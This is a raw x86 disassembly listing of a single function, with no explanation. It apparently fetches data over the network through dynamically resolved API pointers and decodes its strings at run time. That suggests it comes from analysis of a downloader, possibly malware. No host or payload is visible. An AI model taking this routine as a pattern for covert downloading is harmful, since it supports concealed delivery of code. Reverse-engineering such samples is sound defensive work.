mov dword [ebp - 4], 0x43
cmp dword [ebp - 0xe8], 0
jne 0x40d359
mov ecx, dword [ebp - 0x557c]
movzx edx, byte [ecx + 0x78]
test edx, edx
je 0x40d18d
mov byte [ebp - 4], 0x47
push 0
push 0x84000000
push 0xffffffffffffffff
mov eax, dword [ebp - 0x512c]
push eax
mov ecx, dword [ebp - 0xec]
push ecx
mov edx, dword [ebp - 0x150]
push edx
call dword [ebp - 0x10c]
mov dword [ebp - 0x56c4], eax
mov eax, dword [ebp - 0x56c4]
mov dword [ebp - 0xe8], eax
jmp 0x40d11c
mov dword [ebp - 4], 0x43
cmp dword [ebp - 0xe8], 0
jne 0x40d18d
push 0x24
lea eax, [ebp - 0x5524]
push eax
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x56d0], eax
mov eax, dword [ebp - 0x56d0]
mov dword [ebp - 0x56d4], eax
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x56d4]
push ecx
lea ecx, [ebp - 0x5180]
call fcn.004020a0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x5524]
call fcn.004020e0
lea ecx, [ebp - 0x5180]
call fcn.004020e0
cmp dword [ebp - 0xe8], 0
jne 0x40d359
mov edx, dword [ebp - 0x150]
push edx
call dword [ebp - 0xc4]
push 0x2e
lea eax, [ebp - 0x5540]
push eax
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x56d8], eax
mov eax, dword [ebp - 0x56d8]
mov dword [ebp - 0x56dc], eax
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0x56dc]
push ecx
lea ecx, [ebp - 0x519c]
call fcn.004020a0
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x5540]
call fcn.004020e0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5544], esp
push 0x44e4ac
call fcn.00402000
mov dword [ebp - 0x56e0], eax
mov edx, dword [ebp - 0x56e0]
mov dword [ebp - 0x56e4], edx
mov byte [ebp - 4], 0x4e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5548], esp
push 0x44e4b0
call fcn.00402000
mov dword [ebp - 0x56e8], eax
mov eax, dword [ebp - 0x56e8]
mov dword [ebp - 0x56ec], eax
mov byte [ebp - 4], 0x4f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x554c], esp
push 0x44e4b4
lea edx, [ebp - 0x519c]
push edx
push ecx
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x56f0], eax
push 0
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x5550], 0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x519c]
call fcn.004020e0
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x510c]
call fcn.0040ed70
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x5128]
call fcn.004020e0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x50]
call fcn.0040ed70
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x108]
call fcn.0040ed70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x4fa8]
call fcn.004020e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe4]
call fcn.004020e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004020e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
call fcn.004020e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.004020e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00406a00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.004020e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004020e0
mov eax, dword [ebp - 0x5550]
jmp 0x40d5f6
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x510c]
call fcn.0040ed70
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x5128]
call fcn.004020e0
push 0x4e20
call fcn.004228d4
add esp, 4
mov dword [ebp - 0x14c], eax
mov byte [ebp - 0x4f89], 1
lea eax, [ebp - 0x4fb8]
push eax
push 0x4e20
lea ecx, [ebp - 0x4f80]
push ecx
mov edx, dword [ebp - 0xe8]
push edx
call dword [ebp - 0x15c]
test eax, eax
setne al
mov byte [ebp - 0x4f89], al
movzx ecx, byte [ebp - 0x4f89]
test ecx, ecx
je 0x40d429
cmp dword [ebp - 0x110], 0
jbe 0x40d3f2
mov edx, dword [ebp - 0x110]
add edx, dword [ebp - 0x4fb8]
push edx
mov eax, dword [ebp - 0x14c]
push eax
call fcn.004235c6
add esp, 8
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x4fb8]
push ecx
lea edx, [ebp - 0x4f80]
push edx
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x110]
push eax
call fcn.0041f4f0
add esp, 0xc
mov ecx, dword [ebp - 0x110]
add ecx, dword [ebp - 0x4fb8]
mov dword [ebp - 0x110], ecx
jmp 0x40d42b
jmp 0x40d438
cmp dword [ebp - 0x4fb8], 0
jne 0x40d391
mov edx, dword [ebp - 0x110]
mov dword [0x456840], edx
mov eax, dword [ebp - 0x557c]
movzx ecx, byte [eax + 0x78]
test ecx, ecx
je 0x40d53d
push 0x1e
lea edx, [ebp - 0x556c]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x56f4], eax
mov edx, dword [ebp - 0x56f4]
mov dword [ebp - 0x56f8], edx
mov byte [ebp - 4], 0x50
mov eax, dword [ebp - 0x56f8]
push eax
lea ecx, [ebp - 0x51b8]
call fcn.004020a0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x556c]
call fcn.004020e0
mov dword [ebp - 0x5570], 0x14
mov ecx, dword [ebp - 0x5570]
push ecx
call fcn.0041de54
add esp, 4
mov dword [ebp - 0x5574], eax
cmp dword [ebp - 0x5574], 0
je 0x40d4fa
mov edx, dword [ebp - 0x5570]
push edx
push 0
mov eax, dword [ebp - 0x5574]
push eax
call fcn.0041f210
add esp, 0xc
mov ecx, dword [ebp - 0x5574]
mov dword [ebp - 0x56fc], ecx
jmp 0x40d504
mov dword [ebp - 0x56fc], 0
mov edx, dword [ebp - 0x56fc]
mov dword [ebp - 0x51c0], edx
push 0xa
mov eax, dword [ebp - 0x51c0]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.0042325e
add esp, 0xc
mov dword [ebp - 0x51bc], eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x51b8]
call fcn.004020e0
mov edx, dword [ebp - 0xe8]
push edx
call dword [ebp - 0xc4]
mov eax, dword [ebp - 0x150]
push eax
call dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x5578], ecx
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x50]
call fcn.0040ed70
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x108]
call fcn.0040ed70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x4fa8]
call fcn.004020e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe4]
call fcn.004020e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004020e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
call fcn.004020e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.004020e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00406a00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.004020e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004020e0
mov eax, dword [ebp - 0x5578]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ebd2
mov esp, ebp
pop ebp
ret 0x1c